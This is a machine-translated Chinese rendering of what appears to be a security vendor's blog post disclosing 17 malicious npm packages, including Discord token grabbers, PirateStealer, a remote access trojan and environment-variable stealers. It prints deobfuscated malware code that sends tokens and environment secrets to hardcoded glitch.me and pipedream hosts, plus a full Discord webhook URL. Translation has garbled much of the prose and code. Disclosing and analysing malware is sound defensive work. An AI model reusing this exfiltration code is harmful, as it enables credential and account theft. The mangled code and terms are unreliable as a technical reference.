恶意npm包在你的不和令牌之后-披露了17个新包

NPM恶意包

JFrog安全研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意软件包。最近我们在PyPI存储库中披露了11个恶意软件包这一发现表明,攻击手段正变得越来越复杂。先进的逃避技术使用在PyPI恶意软件软件包显示出一种令人不安的趋势,即攻击者在攻击开源软件时变得越来越隐秘。

紧随该报告之后,我们现在分享我们最近工作的发现-在npm (Node.js包管理器)存储库中披露了17个恶意包都是由我们的自动扫描工具发现的。他们中的许多人故意攻击用户的Discord令牌,这是一组字母和数字,作为访问Discord服务器的授权代码。它实际上是用户的凭证。简单地说:获得受害者的不和令牌使攻击者可以完全访问受害者的不和帐户。

我们披露了这些17个恶意包对于NPM代码维护者来说,这些包很快就从NPM存储库中删除了——这是一个很好的迹象,表明这些包确实会引起问题。幸运的是,这些软件包在获得大量下载之前就被删除了(基于npm记录),因此我们设法避免了类似上一次PyPI披露的情况,即恶意软件包在被检测到并删除之前被下载了数万次。

这些软件包的有效载荷各不相同,从infostealers到完全远程访问后门。此外,这些软件包具有不同的感染策略,包括输入错误、依赖混淆和木马功能。

在我们深入研究我们发现的细节以及如何最好地保护自己免受这种威胁之前,我们还想建议您阅读我们的文章有关漏洞扫描最佳实践的提示

报告包

“感染方法”是从包元数据中猜测出来的——实际的攻击没有被观察到。

版本 有效载荷 感染的方法
prerequests-xcode 1.0.4 远程访问木马(老鼠 未知的
discord-selfbot-v14 12.0.3 不和谐令牌抓取器 受害情况/特洛伊(discord.js)
discord-lofy 11.5.1 不和谐令牌抓取器 受害情况/特洛伊(discord.js)
discordsystem 11.5.1 不和谐令牌抓取器 受害情况/特洛伊(discord.js)
discord-vilao 1.0.0 不和谐令牌抓取器 受害情况/特洛伊(discord.js)
fix-error 1.0.0 PirateStealer(不和恶意软件) 木马
wafer-bind 1.1.2 环境变量窃取器 受害情况(晶片- *)
wafer-autocomplete 1.25.0 环境变量窃取器 受害情况(晶片- *)
wafer-beacon 1.3.3 环境变量窃取器 受害情况(晶片- *)
wafer-caas 1.14.20 环境变量窃取器 受害情况(晶片- *)
wafer-toggle 1.15.4 环境变量窃取器 受害情况(晶片- *)
wafer-geolocation 1.2.10 环境变量窃取器 受害情况(晶片- *)
wafer-image 1.2.2 环境变量窃取器 受害情况(晶片- *)
wafer-form 1.30.1 环境变量窃取器 受害情况(晶片- *)
wafer-lightbox 1.5.4 环境变量窃取器 受害情况(晶片- *)
octavius-public 1.836.609 环境变量窃取器 受害情况(屋大维)
mrg-message-broker 9998.987.376 环境变量窃取器 依赖关系混乱

为什么要偷Discord令牌?

我们最近看到了大量窃取Discord令牌的恶意软件,以前在我们的PyPI出版物中(例如:noblesse, DiscordSafety),现在也在npm存储库中。

不和是一个无处不在的数字通信平台,拥有超过3.5亿的注册用户,可以通过语音通话,视频通话,短信和媒体文件(或其他任意文件)进行通信。这可以私下(用户对用户)完成,也可以在称为“服务器”的持久虚拟房间中完成。

考虑到这一点,有人可能会想:为什么要偷Discord令牌?

从我们的研究中,我们假设了几个诱人的原因:

  1. 利用平台作为攻击的一部分
    不和谐服务器通常用作匿名命令和控制(C2)服务器,控制远程访问木马(RAT)甚至整个僵尸网络。另外,也可以将Discord服务器用作匿名泄露通道。在我们之前的研究中我们注意到,“noblesse”恶意软件家族使用Discord的网络钩子来窃取被盗数据。如果攻击者获得任意的Discord用户/服务器,这允许更好的攻击匿名化,因为使用这些凭证的任何攻击都将被追踪到合法用户而不是攻击者。
  2. 向Discord用户传播恶意软件
    被黑的Discord账户可以用于社会工程目的,继续传播恶意软件——无论是手动还是自动通过一个蠕虫。受害者更有可能接受(并执行)来自朋友在Discord账户上的任意文件,而不是一个完全陌生的人发送的文件。
  3. 出售被盗保费账户
    Discord运营着一项名为“不和硝基这项服务目前每年收费100美元,为用户解锁了几个美容选项(表情符号、徽章等),以及“提升”所选服务器的选项,以提高该服务器上的通话和视频质量。攻击者的目标可能是购买Nitro的Discord帐户,以便在在线市场上廉价转售。例如,这可以在“playerup.com”市场中看到:

该市场出售独立的Nitro钥匙和所有启用了Nitro的帐户

要进一步了解Discord的恶意情况,索福斯也对这个问题做了广泛的研究

不和谐令牌抓取器

由于这种攻击有效载荷的普及,在GitHub上发布了很多带有构建说明的Discord令牌抓取器:

攻击者可以使用这些模板之一并开发定制恶意软件,而无需大量编程技能-这意味着任何新手黑客都可以在几分钟内轻松完成此操作。如前所述,这可以与各种在线混淆工具一起使用,以避免基本的检测技术。

值得注意的是,这些有效负载不太可能被反病毒解决方案捕获,而不是一个完整的RAT后门,因为Discord窃取者不会修改任何文件,不会在任何地方注册自己(例如,在下次启动时执行),也不会执行可疑的操作,例如生成子进程。

discord-lofydiscord-selfbot-v14包由同一作者(davisousa)发布,并假装是流行的合法库的修改discord.js,它支持与Discord API的交互。

在典型的特洛伊木马方式中,这些包试图通过复制README来误导受害者。Md从原来的包装:

恶意软件的作者以原始的discord.js库为基础,将混淆的恶意代码注入到文件中src /客户/行动/ UserGet.js

混淆版本的代码是巨大的:超过4000行不可读的代码,包含所有可能的混淆方法:混乱的变量名,加密的字符串,代码扁平化和反射函数调用。

function I6(b, t, D, F, t, s,…){return L(by - 0x2c8, Ll);}函数I3(b, t, D, F…){返回L(IR - -0x32d, tJ);}函数I0(b, t, D, F,…){返回L(vy - -0x3c2, LM);}函数a(b, t, D, F,…){返回L(Ly - -0x5f, v7);}

通过手工分析和编写脚本,我们能够消除包的混淆,并揭示其最终的有效负载非常简单—有效负载只是在知名浏览器的本地存储文件夹(以及特定于Discord的文件夹)上迭代,然后使用正则表达式搜索看起来像Discord令牌的字符串。任何找到的令牌都通过HTTP POST发送回硬编码服务器https://aba45cf.glitch.me/polarlindo

路径= '/Users/user/AppData/Roaming/Discord/Local Storage/leveldb' '/Users/user/AppData/Roaming/Lightcord/Local Storage/leveldb' '/Users/user/AppData/Roaming/ discordtb /Local Storage/leveldb' '/Users/user/AppData/Roaming/discordcanary/Local Storage/leveldb' '/Users/user/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb' ','/Users/user/AppData/Roaming/Opera Software/Opera GX Stable/Local Storage/leveldb' '/Users/user/AppData/Local/Amigo/ user Data/Local Storage/leveldb' '/Users/user/AppData/Local/Torch/ user Data/Local Storage/leveldb', '/Users/user/AppData/Local/Kometa/ user Data/Local Storage/leveldb','/Users/user/AppData/Local/AppData/Local/Orbitum/ user Data/Local Storage/leveldb' '/Users/user/AppData/Local/CentBrowser/ user Data/Local Storage/leveldb' '/Users/user/AppData/Local/Sputnik/Sputnik/ user数据/Local Storage/leveldb' '/Users/user/AppData/Local/Vivaldi/ user Data/Default/Local Storage/leveldb' '/Users/user/AppData/Local/Google/Chrome SxS/ user Data/Local Storage/leveldb' '/Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/ leveldb' '/Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/ leveldb' '/Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/ leveldb' '/Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/ Users/user/AppData/Local/用户/AppData/Local/用户/AppData/Local/用户/AppData/Local/用户/AppData/Local/Epic隐私浏览器/用户数据/本地存储/leveldb' '/用户/用户/AppData/本地/谷歌/Chrome/用户数据/默认/本地存储/leveldb' '/用户/用户/AppData/本地/uCozMedia/Uran/用户数据/默认/本地存储/leveldb' '/用户/用户/用户/AppData/本地/微软/Edge/用户数据/默认/本地存储/leveldb' '/用户/用户/用户/AppData/本地/Yandex/YandexBrowser/用户数据/默认/本地存储/leveldb' '/用户/用户/AppData/本地/Opera软件/Opera Neon/用户数据/默认/本地存储/leveldb' '/用户/用户/AppData/本地/Opera软件/Opera Neon/用户数据/默认/本地存储/leveldb' '/用户/用户/AppData/本地/Opera软件/Opera Neon/用户数据/默认/本地存储/leveldb' '/用户/用户/AppData/本地/'/Users/user/AppData/Local/ bravessoftware /Brave-Browser/ user Data/Default/Local Storage/leveldb'];路径。forEach(p => getToken(p)) function getToken(p) {readdir (p (e, f) = >{如果(f) {f = f.filter (f = > f.endsWith (ldb)) f.forEach (f = > {var fileContent = fs.readFileSync(“$ {p} / $ {f}’).toString () var noMFA = /”(\ d \ w_(){24} \。(\ d \ w_(){6} \。[\d\w_-]{27}"/ var mfa = /"mfa\。[\d\w_-]{84}"/ var [token] = noMFA.exec(fileContent) || mfa.exec(fileContent) || [undefined] if (token) fetch("http://ip-api.com/json/").then(r => r.c son())。然后(r => fetch('https://aba45cf[.]glitch[.]}, {method: "POST", body: JSON。stringify({ token: token, ip: r.query }) })) }) } }) }

discordsystemdiscord-vilao包由不同的作者上传,但与前两个包非常相似,除了窃取方法-被盗的令牌通过硬编码发送回来不和Webhook。例如,discordsystem会泄漏到以下Webhook:https://canary.discord.com/api/webhooks/903018156283551775/lJOJ9526e_rzw0Js2DQPdV0eYQd5RQybtUcJqolp84JTwlxJxaWnuam9FyUplYN2TJfT

PirateStealer

fix-error包是另一个特洛伊木马包,承诺“修复不和谐的自我机器人错误”。当检查包代码时,很容易看到它被混淆了:

eval(函数(p, a、c、k、e、d){虽然(c)){如果(k [c]) {p = p(“\ \ x72 \ \ x65 \ \ x70 \ \ x6C \ \ x61 \ \ x63 \ \ x65”)(新RegExp(“\ \ x5C \ \ x62”+ c +“\ \ x5C \ \ x62”、“\ \ x67”)}};返回p}(“\ \ x35 \ \ x39 \ \ x20的\ \ x32 \ \ x35 \ \ x3D \ \ x5B \ \将\ \ x5C \ \ x31 \ \ x31 \ \ x5C \ \ x31 \ \ x34 \ \ x5C \ \ x34 \ \ x32 \ \ x5C \ \ x31 \ \ x35……

这一次,可以非常容易地通过替换来消除有效负载的混淆evalconsole.log

不像discord-lofy,这个混淆器不会改变代码流,但坚持基本的(混淆字符串和替换变量名),所以完全去混淆是非常简单的:

...函数listDiscords () {exec(_0[34],函数(_2、_4 _12){如果(_4 [_0 [9]](_0 [35])){runningDiscords [_0 [11]] (_0 [36])};如果(_4 [_0 [9]](_0 [37])){runningDiscords [_0 [11]] (_0 [38])};如果(_4 [_0 [9]](_0 [39])){runningDiscords [_0 [11]] (_0 [40])};killDiscord()})}函数killDiscord () {runningDiscords [_0 [12]] ((_3) = > {exec(“${_0[41]}${_3}${_0[42]}”,(“_2)= >{如果(_2){返回}})});感染();pwnBetterDiscord()}…

检查去混淆代码后,很明显这是臭名昭著的混淆版本PirateStealer黑客工具。这个工具窃取存储在Discord客户端的私人数据,例如信用卡、登录凭据和个人身份信息(PII)。

黑客工具通过注入来工作恶意Javascript代码到Discord客户端。

注入的代码监视用户并将窃取的信息发送回硬编码的Webhook地址:

m ={用户名:“Vilao”,内容:“”,嵌入:[{标题:“Cartao Adicionado”,描述:“* *省 :**```" + c.username + + c.discriminator +“#”“\ n * * ID :**```" + c.id + " ' ' ' \ n * *电子邮件 :**```" + c.email + " ' ' ' \ n * *蒂波德硝基 :**```" + GetNitro (c.premium_type) + " ' ' \ n * *徽章 :**```" + GetBadges (c.flags) + " ' ' \ n * * Cartao n °: **```" + e +”“\ n * * Expira em : **```" + n + " + r + " ' ' ' \ n * * CVC : **```" + t +”“\ n * * Regiao : **```" + l + " ' ' ' \ n * *带动 : **```" + o +”“\ n”* *:* *”的“+ +”“\ n * *邮政 :**```" + 我+ " ' ' ' \ n * * Bairro : **```" + + " ' ' ' \ n * *牌 :**```" + p + " ' ' ' \ n * * IP : **```" + d  + "```", 作者:{名称:“Vilao”},页脚:{文本:“Vilao”},缩略图:{url:“https://cdn.discordapp.com/avatars/”+ c.id + " + c.avatar}}};SendToWebhook (JSON.stringify (m))

远程访问木马

这个包prerequests-xcode它没有描述,但有一个令人印象深刻的依赖项列表,这暗示了它要泄露的敏感数据:

{“依赖性”:{“axios”:“^ 0.21.1”、“clipboardy”:“^ tripwire”、“desktop-screenshot”:“^ 0.1.1”、“不和”:“^ 0.8.2”、“discord-pages”:“^ 1.0.2”,“discord-webhook-node”:“^ 1.1.8”、“discord.js”:“^ 11.6.4”、“表达”:“^ 4.17.1”、“http”:“0.0.1-security”、“懒”:“^ 1.0.11”、“响度”:“^ 0.4.1”、“node-hide-console-window”:“^ 2.1.0的”,“node-webcam”:“^ 0.8.0”,“开放”:“^ 8.3.0”、“操作系统”:“^ 0.1.2”、“路径”:“^ 0.12.7”、“ps-node”:“^ 0.1.6”、“请求”:“^ 2.88.2”、“screenshot-desktop”:“^ 1.12.7”、“serve-index”:“^ 1.9.1”、“插座。Io ": "^4.2.0"}}

在检查包的代码时,我们发现它包含一个Node.JS端口DiscordRAT(最初用Python编写),使攻击者能够完全控制受害者的机器。恶意软件与流行的在线工具混淆obfuscator.io,但在这种情况下,检查可用命令列表以了解RAT的功能(逐字复制)就足够了:

webcampic——把一幅画从摄像头!截图,需要用户的当前屏幕的截图!根据执行VBScript代码来自攻击者! Powershell Powershell执行代码来自攻击者!剪贴板-发送给攻击者的剪贴板内容!下载,下载文件从受害者机器!定位——从https://geolocation-db.com/json/发送数据!密码——发送给攻击者所有的密码存储在系统!壳——执行一个shell命令!令牌-发送给攻击者不和的令牌!listprocess -接收运行进程的信息!startup -添加一个文件到启动

与老式的IRC恶意软件类似,这个RAT是通过Discord私人聊天控制的。

环境变量窃取器

我们的研究发现了十个执行环境变量盗窃的软件包。的晶片- *包(wafer-bindwafer-beacon等)不包含任何合法功能,而是包含一小段恶意代码,即使被混淆也可以理解:

函数a0_0x2c5d(_0x3c5edd, _0x43388a) {const _0x5bc4a6 = a0_0x5bc4();Return a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {_0x2c5dfc = _0x2c5dfc - 0x1bd;Let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];返回_0x2f5ef7;}, a0_0x2c5d(_0x3c5edd, _0x43388a);}要求= http(“请求”)({“主机”:[“a5eb7b362adc824ed7d98433d8eae80a”、“米”,“白日梦”,“网”)(“加入 "]('.'), ' 路径 ': '/' + ( [“env”][“npm_package_name过程 "] || ''), ' 方法”:“POST”}),要求(“写”)(缓冲区(“的”)(JSON(函数”把“)(过程[' env ']))(“toString”)(“base64”),要求(“结束”)();

恶意软件只是收集所有受害者进程的环境变量,并将它们(作为base64编码的字符串)发送到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net

这是一个危险的负载,因为环境变量是保存运行时需要使用的秘密的主要位置(因为它们比将秘密保存在明文存储中或通过命令行变量传递秘密更安全)。

例如,AWS CLI支持通过环境变量获取AWS秘密访问密钥:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_DEFAULT_REGION=us-west-2

这些恶意软件包所针对的机器类型,即开发人员和CI/CD机器,很可能在用户环境中包含此类秘密和访问密钥。

所有其他环境窃取包都包含非常相似的混淆和有效负载,有时使用略微不同的参数(例如不同的泄漏服务器)。

结论

在npm存储库中发现的恶意软件与我们的PyPI恶意软件监控发现的恶意软件包非常相似。攻击者通常使用经过轻微修改的公共黑客工具(甚至是未修改的工具),这些工具使用公共混淆器进行混淆。

我们目睹了最近通过开源软件库托管和交付的恶意软件的弹幕。公共存储库已经成为恶意软件分发的便利工具:存储库的服务器是一个可信的资源,与它的通信不会引起任何防病毒或防火墙的怀疑。此外,通过自动化工具(如npm客户端)易于安装提供了成熟的攻击向量。

鉴于这种威胁,我们不断努力帮助开发人员社区和我们的客户,暴露新的恶意软件包和恶意软件作者用来隐藏它们的技术,以提高流行存储库的安全性。我们还建议组织采取预防措施,管理他们对npm软件管理的使用,以降低将恶意代码引入其应用程序的风险。

请继续关注

除了暴露新安全漏洞通过自动安全扫描,JFrog为开发人员和安全团队提供了轻松访问其软件最新相关信息的方法JFrog x光。继续关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁。

阅读有关Log4Shell

问题吗?想法吗?联络我们:research@www.si-fil.com如有任何查询。